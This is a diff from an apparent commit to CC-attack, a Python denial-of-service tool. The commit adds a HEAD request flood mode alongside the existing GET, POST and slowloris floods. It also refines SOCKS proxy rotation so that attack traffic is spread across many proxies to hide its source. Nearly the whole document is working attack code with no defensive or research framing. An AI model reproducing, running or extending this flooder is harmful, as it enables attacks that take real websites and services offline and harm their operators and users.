77# -- L330n123 #
88#########################################
99'''
10- I'm working on Aoyama's update so this project will stop for a while
10+ Still working on multiprocessing...
1111'''
1212import requests
1313import socket
1818import sys
1919import ssl
2020import datetime
21+
2122#import multiprocessing #i'm working on it
2223
2324
4344│ Link: https://github.com/Leeon123/CC-attack │
4445└─────────────────────────────────────────────┘''' )
4546
47+ useragents = []
48+
4649acceptall = [
4750 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r \n Accept-Language: en-US,en;q=0.5\r \n Accept-Encoding: gzip, deflate\r \n " ,
4851 "Accept-Encoding: gzip, deflate\r \n " ,
8386cookies = ""
8487strings = "asdfghjklqwertyuiopZXCVBNMQWERTYUIOPASDFGHJKLzxcvbnm1234567890&"
8588###################################################
86- Intn = random .randint #idk but it looks like can reduce some cpu usage and time.
89+ Intn = random .randint
8790Choice = random .choice
8891setsocks = socks .setdefaultproxy
8992###################################################
93+ def create_useragents (threads ):
94+ for _ in range (threads ):
95+ useragents .append (getuseragent ())
96+
9097def getuseragent ():
9198 platform = Choice (['Macintosh' , 'Windows' , 'X11' ])
9299 if platform == 'Macintosh' :
@@ -133,54 +140,86 @@ def cc(socks_type):
133140 connection = "Connection: Keep-Alive\r \n "
134141 if cookies != "" :
135142 connection += "Cookies: " + str (cookies )+ "\r \n "
136- err = 0
137- if port == 443 :
138- n = "HTTPS "
139- else :
140- n = "CC"
143+ accept = Choice ( acceptall )
144+ referer = "Referer: " + Choice ( referers ) + ip + url2 + " \r \n "
145+ useragent = "User-Agent: " + random . choice ( useragents ) + " \r \n "
146+ switch_ = True
147+ proxy = Choice ( proxies ). strip (). split ( ":" )
141148 while True :
142- fake_ip = "X-Forwarded-For: " + str (Intn (1 ,255 ))+ "." + str (Intn (0 ,255 ))+ "." + str (Intn (0 ,255 ))+ "." + str (Intn (0 ,255 ))+ "\r \n "
143- fake_ip += "Client-IP: " + str (Intn (1 ,255 ))+ "." + str (Intn (0 ,255 ))+ "." + str (Intn (0 ,255 ))+ "." + str (Intn (0 ,255 ))+ "\r \n "
144- accept = Choice (acceptall )
145- referer = "Referer: " + Choice (referers )+ ip + url2 + "\r \n "
149+ while switch_ :
150+ try :
151+ if socks_type == 4 :
152+ setsocks (socks .PROXY_TYPE_SOCKS4 , str (proxy [0 ]), int (proxy [1 ]), True )
153+ if socks_type == 5 :
154+ setsocks (socks .PROXY_TYPE_SOCKS5 , str (proxy [0 ]), int (proxy [1 ]), True )
155+ switch_ = False
156+ except :
157+ proxy = Choice (proxies ).strip ().split (":" )
158+ s = socks .socksocket ()
159+ if brute :
160+ s .setsockopt (socket .IPPROTO_TCP , socket .TCP_NODELAY , 1 )
146161 try :
147- proxy = Choice (proxies ).strip ().split (":" )
148- if socks_type == 4 :
149- setsocks (socks .PROXY_TYPE_SOCKS4 , str (proxy [0 ]), int (proxy [1 ]), True )
150- if socks_type == 5 :
151- setsocks (socks .PROXY_TYPE_SOCKS5 , str (proxy [0 ]), int (proxy [1 ]), True )
152- if err > 10 :
153- print ("[!] Target or proxy maybe down| Changing proxy" )
154- break
155- s = socks .socksocket ()
156- s .setsockopt (socket .SOL_SOCKET , socket .SO_REUSEADDR , 1 )
157- if brute :
158- s .setsockopt (socket .IPPROTO_TCP , socket .TCP_NODELAY , 1 )
159162 s .connect ((str (ip ), int (port )))
160163 if port == 443 :
161164 ctx = ssl .SSLContext ()
162165 s = ctx .wrap_socket (s ,server_hostname = ip )
163- print ("[*] " + n + " Flooding from | " + str (proxy [0 ])+ ":" + str (proxy [1 ]))
164166 try :
165167 for _ in range (multiple ):
166- useragent = "User-Agent: " + getuseragent () + "\r \n "
167168 get_host = "GET " + url2 + "?" + randomurl () + " HTTP/1.1\r \n Host: " + ip + "\r \n "
168- request = get_host + referer + useragent + accept + connection + fake_ip + "\r \n "
169+ request = get_host + referer + useragent + accept + connection + "\r \n "
169170 s .send (str .encode (request ))
170171 s .close ()
171172 except :
172173 s .close ()
173- except :#dirty fix
174+ print ("[*] CC Flooding from | " + str (proxy [0 ])+ ":" + str (proxy [1 ]))
175+ except :
174176 pass
175- err = err + 1
176- cc (socks_type )
177+
178+ def head (socks_type ):#HEAD MODE
179+ connection = "Connection: Keep-Alive\r \n "
180+ if cookies != "" :
181+ connection += "Cookies: " + str (cookies )+ "\r \n "
182+ accept = Choice (acceptall )
183+ referer = "Referer: " + Choice (referers )+ ip + url2 + "\r \n "
184+ useragent = "User-Agent: " + random .choice (useragents ) + "\r \n "
185+ switch_ = True
186+ proxy = Choice (proxies ).strip ().split (":" )
187+ while True :
188+ while switch_ :
189+ try :
190+ if socks_type == 4 :
191+ setsocks (socks .PROXY_TYPE_SOCKS4 , str (proxy [0 ]), int (proxy [1 ]), True )
192+ if socks_type == 5 :
193+ setsocks (socks .PROXY_TYPE_SOCKS5 , str (proxy [0 ]), int (proxy [1 ]), True )
194+ switch_ = False
195+ except :
196+ proxy = Choice (proxies ).strip ().split (":" )
197+ s = socks .socksocket ()
198+ if brute :
199+ s .setsockopt (socket .IPPROTO_TCP , socket .TCP_NODELAY , 1 )
200+ try :
201+ s .connect ((str (ip ), int (port )))
202+ if port == 443 :
203+ ctx = ssl .SSLContext ()
204+ s = ctx .wrap_socket (s ,server_hostname = ip )
205+ print ("[*] CC Flooding from | " + str (proxy [0 ])+ ":" + str (proxy [1 ]))
206+ try :
207+ for _ in range (multiple ):
208+ head_host = "HEAD " + url2 + "?" + randomurl () + " HTTP/1.1\r \n Host: " + ip + "\r \n "
209+ request = head_host + referer + useragent + accept + connection + "\r \n "
210+ s .send (str .encode (request ))
211+ s .close ()
212+ except :
213+ s .close ()
214+ except :#dirty fix
215+ pass
177216
178217def post (socks_type ):
179218 global data
180219 post_host = "POST " + url2 + " HTTP/1.1\r \n Host: " + ip + "\r \n "
181220 content = "Content-Type: application/x-www-form-urlencoded\r \n "
182221 refer = "Referer: http://" + ip + url2 + "\r \n "
183- user_agent = "User-Agent: " + getuseragent ( ) + "\r \n "
222+ user_agent = "User-Agent: " + random . choice ( useragents ) + "\r \n "
184223 accept = Choice (acceptall )
185224 if mode2 != "y" :
186225 data = str (random ._urandom (16 )) # You can enable bring data in HTTP Header
@@ -190,39 +229,36 @@ def post(socks_type):
190229 request = post_host + accept + refer + content + user_agent + length + "\n " + data + "\r \n \r \n "
191230 proxy = Choice (proxies ).strip ().split (":" )
192231 err = 0
193- if port == 443 :
194- n = "HTTPS"
195- else :
196- n = "CC"
232+ switch_ = True
233+ roxy = Choice (proxies ).strip ().split (":" )
234+
197235 while True :
236+ while switch_ :
237+ try :
238+ if socks_type == 4 :
239+ setsocks (socks .PROXY_TYPE_SOCKS4 , str (proxy [0 ]), int (proxy [1 ]), True )
240+ if socks_type == 5 :
241+ setsocks (socks .PROXY_TYPE_SOCKS5 , str (proxy [0 ]), int (proxy [1 ]), True )
242+ switch_ = False
243+ except :
244+ proxy = Choice (proxies ).strip ().split (":" )
198245 try :
199- proxy = Choice (proxies ).strip ().split (":" )
200- if socks_type == 4 :
201- setsocks (socks .PROXY_TYPE_SOCKS4 , str (proxy [0 ]), int (proxy [1 ]), True )
202- if socks_type == 5 :
203- setsocks (socks .PROXY_TYPE_SOCKS5 , str (proxy [0 ]), int (proxy [1 ]), True )
204- if err > 10 :
205- print ("[!] Target or proxy maybe down| Changing proxy" )
206- break
207246 s = socks .socksocket ()
208- s .setsockopt (socket .SOL_SOCKET , socket .SO_REUSEADDR , 1 )
209247 if brute :
210248 s .setsockopt (socket .IPPROTO_TCP , socket .TCP_NODELAY , 1 )
211249 s .connect ((str (ip ), int (port )))
212250 if str (port ) == '443' : # //AUTO Enable SSL MODE :)
213251 ctx = ssl .SSLContext ()
214252 s = ctx .wrap_socket (s ,server_hostname = ip )
215- print ("[*] " + n + " Post Flooding from | " + str (proxy [0 ])+ ":" + str (proxy [1 ]))
216253 try :
217254 for _ in range (multiple ):
218255 s .send (str .encode (request ))
219256 s .close ()
220257 except :
221258 s .close ()
259+ print ("[*] Post Flooding from | " + str (proxy [0 ])+ ":" + str (proxy [1 ]))
222260 except :
223- pass #dirty fix
224- err = err + 1
225- post (socks_type )
261+ pass
226262
227263socket_list = []
228264def slow (conn ,socks_type ):
@@ -238,8 +274,7 @@ def slow(conn,socks_type):
238274 for _ in range (conn ):
239275 try :
240276 s = socks .socksocket ()
241- s .setsockopt (socket .SOL_SOCKET , socket .SO_REUSEADDR , 1 )
242- s .settimeout (0.6 )
277+ s .settimeout (1 )
243278 s .connect ((str (ip ), int (port )))
244279 if str (port ) == '443' :
245280 ctx = ssl .SSLContext ()
@@ -324,7 +359,7 @@ def checking(lines,socks_type,ms):#Proxy checker coded by Leeon123
324359 break
325360 try :
326361 s = socks .socksocket ()
327- s . setsockopt ( socket . SOL_SOCKET , socket . SO_REUSEADDR , 1 )
362+
328363 s .settimeout (ms )#You can change by yourself
329364 s .connect ((str (ip ), int (port )))
330365 if port == 443 :
@@ -449,12 +484,12 @@ def main():
449484 ip = ""
450485 port = ""
451486 mode = ""
452- print ("> Mode: [cc/post/slow/check]" )
487+ print ("> Mode: [cc/post/head/ slow/check]" )
453488 while mode == "" :
454489 mode = str (input ("> Choose Your Mode (default=cc) :" )).strip ()
455490 if mode == "" :
456491 mode = "cc"
457- elif (mode != "cc" ) and (mode != "post" )and (mode != "slow" )and (mode != "check" ):
492+ elif (mode != "cc" ) and (mode != "post" )and ( mode != "head" ) and (mode != "slow" )and (mode != "check" ):
458493 print ("> Plese enter correct mode" )
459494 mode = ""
460495 continue
@@ -548,6 +583,7 @@ def main():
548583 thread_num = int (thread_num )
549584 except :
550585 sys .exit ("Error thread number" )
586+ create_useragents (thread_num )
551587 N = str (input ("> Do you need to get socks list?(y/n,default=y):" ))
552588 if N == 'y' or N == "" :
553589 downloadsocks (choice )
@@ -608,13 +644,16 @@ def main():
608644 th = threading .Thread (target = post ,args = (socks_type ,))
609645 th .setDaemon (True )
610646 th .start ()
611- #print("Threads "+str(i+1)+" created")
612647 elif mode == "cc" :
613648 for _ in range (thread_num ):
614649 th = threading .Thread (target = cc ,args = (socks_type ,))
615650 th .setDaemon (True )
616651 th .start ()
617- #print("Threads "+str(i+1)+" created")
652+ elif mode == "head" :
653+ for _ in range (thread_num ):
654+ th = threading .Thread (target = head ,args = (socks_type ,))
655+ th .setDaemon (True )
656+ th .start ()
618657 try :
619658 while True :
620659 pass
0 commit comments